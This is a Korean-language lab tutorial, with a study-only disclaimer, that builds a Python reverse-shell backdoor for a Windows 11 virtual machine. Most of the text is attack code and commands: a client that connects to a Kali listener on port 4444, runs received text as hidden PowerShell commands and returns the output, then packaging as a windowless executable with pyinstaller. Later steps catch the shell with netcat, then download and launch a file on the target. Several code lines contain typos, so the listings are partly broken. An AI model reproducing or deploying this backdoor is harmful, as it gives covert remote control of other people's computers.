목 차
Ⅰ. 개요
Ⅱ. 환경 구성
Ⅲ. 진행 절차
1. 백도어 제작을 위한 패키지 설치
2. 파일 업로드를 위한 디렉터리 생성 및 권한 부여
3. 백도어 제작
4. 백도어를 통해 공격 대상 PC 정보 수집 및 파일 전송
5. 전송한 파일 원격 실행
Ⅳ. 마치며
경고
Warning
본 내용은 해킹 공부를 목적으로 작성되었습니다.
This content was written for penetration testing study.
본 내용은 공부 목적 외의 활용을 금하며,
This content is prohibited for use for purposes other than study,
악의적인 목적으로 활용 시
and you are notified that you may be subject to criminal punishment
형사 처벌을 받을 수 있음을 통보합니다.
if used for malicious purposes.
Ⅰ. 개요
1. 백도어 제작 과정을 탐구하기 위함
2. 제작한 백도어를 활용하여 공격 대상 PC 정보 수집 및 파일 전송을 실습하기 위함
Ⅱ. 환경 구성
1. Virtual Machine
- VMware Workstation Player(Kali Linux)
- Oracle VirtualBox(공격 대상 Windows 11 Home)
2. OS
- Kali Linux
- Windows 11 Home
3. tools
- netcat
- IDLE(Python 3.13 64-bit)
4. Language
- Python 3.13.2
Ⅲ. 진행 절차
1. 백도어 제작을 위한 패키지 설치
가. Pillow, opencv-python-headless, requests 설치
- 메모장에 아래와 같이 입력한 후 바탕화면에 requirements.txt 로 저장
Pillow
opencv-python-headless
requests
- Windows Command Prompt 실행 후 아래와 같이 입력
> cd desktop // requirements.txt 파일을 바탕화면에 저장하였으므로 바탕화면으로 이동
> pip install -r requirements.txt // requirements.txt 파일에 적힌 세 패키지 한 번에 설치
나. Apache 설치
- 백도어를 통해 공격 대상 PC에서 파일을 보내거나 가져올 때 웹 서버를 이용해야는데 이때 Apache가 필요
- 메모장에 아래와 같이 작성 후 바탕화면에 upload.php 로 저장
<?php
$uploaddir = '/var/www/html/uploads/';
$uploadfile = $uploaddir.basename($_FILE['file']['name']);
move_uploaded_file($FILE['file']['tmp_name'], $uploadfile);
?>
- Kali Linux 실행 후 메모장을 드래그해서 Kali Linux 내부로 전송 후 터미널에 아래와 같이 입력
$ sudo apt update
$ sudo apt install apache2 php libapache2-mod-php // apache2 설치
- 터미널에 아래 명령을 입력하여 Apache2를 시작하고 부팅 시 자동으로 시작하도록 설정
$ sudo systemctl start apache2
$ sudo systemctl enable apache2
2. 파일 업로드를 위한 디렉터리 생성 및 권한 부여
가. 파일 업로드를 위한 디렉터리 생성
- 터미널에 아래 명령어를 입력하여 uploads 디렉터리 생성
$ sudo mkdir -p /var/www/html/uploads
- 터미널에 아래 명령어를 입력하여 권한 부여
$ sudo chown www-data:www-data /var/www/html/uploads // 웹 서버가 uploads 디렉터리에 접근하여 파일을 업로드할 수 있도록 권한 부여
$ sudo chmod 755 /var/www/html/uploads // 읽기, 실행 권한 부여
나. Kali Linux 바탕화면에 있는 upload.php 파일을 /var/www/html 디렉터리로 이동
3. 백도어 제작
가. IDLE(Python 3.13 64-bit)를 실행한 후 아래와 같이 코드 입력
// 필요한 라이브러리(네트워크 연결을 위한 소켓 모듈, 외부 명령 실행을 위한 서브 프로세스, 시간 지연을 위한 타임 모듈) 임포트
import socket
import subprocess
import time
ip = "Kali Linux IPv4 주소"
port = 4444
while True: // 무한 루프를 통한 서버와의 연결 지속
client_socket = socket.socket(socket_INET, socket.SOCK_STREAM) // IPv4 주소 및 TCP 사용하여 소켓 객체 생성
try:
client_socket.connect((ip, port)) // 서버에 연결 시도
print("You are connected to the server!")
while True: // 서버에서 데이터 수신 및 처리하는 루프 생성
try:
data = client_socket.recv(4096) // 서버에서 최대 4096byte 데이터 수신
if not data:
break // 서버에서 수신된 데이터가 없으면 루프 종료
print(data)
powershell_path = "powershell.exe 경로 입력" // PowerShell 명령 실행을 위한 경로 설정
proc = subprocess.Popen( // 수신된 데이터를 PowerShell 명령으로 실행
[powershell_path, data.decode('utf-8').strip()], // 수신된 데이터를 UTF-8로 디코딩하고 양쪽 공백 제거
stdout = subprocess.PIPE, // 표준 출력 파이프 설정
stderr = subprocess.PIPE, // 표준 오류 파이프 설정
text = True, // 텍스트 모드 사용
creationflags = subprocess.CREATE_NO_WINDOW // 새 창 생성하지 않음
)
stdout, stderr = proc.communicate() // 명령 실행 결과 및 오류 메시지 수집
client_socket.sendall((stdout + stderr).encode()) // 명령 실행 결과 및 오류 메시지를 서버로 전송
except Exception as e:
print(f'error : {e}') // 명령 실행중 예외 발생 시 오류 메시지 출력
break
excpet Exception as e:
print(f'connection error : {e}') // 서버 연결 실패 시 오류 메시지 출력 및 재연결 시도
print("Retry after 3 seconds...")
time.sleep(3) // 3초 대기
finally:
client_socket.close() // 소켓 닫기
나. 코드 작성 완료 후 바탕화면에 backdoor.py 로 저장
다. Windows Command Prompt에서 아래 명령어를 입력하여 backdoor.py 파일을 사용해 실행 파일 생성
> pip install pyinstaller // backdoor.py 파일을 사용하여 실행 파일을 생성하기 위한 pyinstaller 모듈 설치
> cd desktop
> pyinstaller --onefile --noconsole backdoor.py // 실행 파일 생성을 위한 명령어
- 위의 내용을 완료하면 host PC 바탕화면에 dist/backdoor.exe, build 디렉터리, backdoor.spec 파일이 생성되는데 dist 디렉터리 내의 backdoor.exe가 백도어 실행 파일임
4. 백도어를 통해 공격 대상 PC 정보 수집 및 파일 전송
가. VirtualBox로 Windows 11(공격 대상 PC)을 실행한 후 backdoor.exe 파일을 드래그하여 공격 대상 PC로 전송
나. Kali Linux 터미널에서 아래 명령어를 입력하여 넷캣 실행
nc -lvnp 4444
다. 공격 대상 PC에 옮긴 backdoor.exe 더블 클릭하여 실행 후 Kali Linux에서 공격 대상 PC와 연결된 것을 확인
라. 넷캣에서 Windows PowerShell 명령어를 통한 정보 수집
- ipconfig 명령어와 ls 명령어를 통한 정보 수집
마. 공격 대상 PC로 파일 전송
- nano 편집기를 사용하여 hello.txt 파일 생성 후 /var/www/html/uploads 디렉터리로 이동
- 아래 명령어 입력하여 hello.txt 파일에 적절한 권한 부여
$ sudo chown www-data:www-data /var/www/thml/uploads/hello.txt
$ sudo chmod 755 /var/www/html/uploads/hello.txt
- Kali Linux 터미널에서 아래 명령어 입력하여 hello.txt 파일을 공격 대상 PC 바탕화면으로 전송
Invoke-WebRequest -Uri "http://Kali Linux IPv4 주소/uploads/hello.txt" -OutFile "공격 대상 PC 바탕화면 경로/hello.txt"
5. 전송한 파일 원격 실행
가. hello.txt 파일 원격 실행
- 넷캣에서 아래 PowerShell 명령어 입력하여 공격 대상 PC 바탕화면의 hello.txt 파일 원격 실행
Start-Process -FilePath "공격 대상 PC 바탕화면 경로\hello.txt"
Ⅳ. 마치며
본 프로젝트에서 백도어를 통해 파일을 공격 대상 PC에 보내고 원격으로 실행하는 것을 실습하였다. 만일 보낸 파일이 아무런 위험이 없는 메모장 텍스트 파일이 아닌 악성 코드이고 이를 원격으로 실행했다면 공격 대상 PC는 큰 피해를 입었을 것이다.
이와 같이 백도어는 상당히 위험하다. 이러한 백도어는 인터넷에서 신뢰할 수 없는 파일, 크랙 파일 등을 다운로드하는 행위 등으로 PC에 심어질 수 있는데, 한 번 백도어가 심어지면 발견하기도 어렵고 피해도 상당한 만큼 처음부터 백도어가 심어지지 않도록 주의가 필요하다.
끝.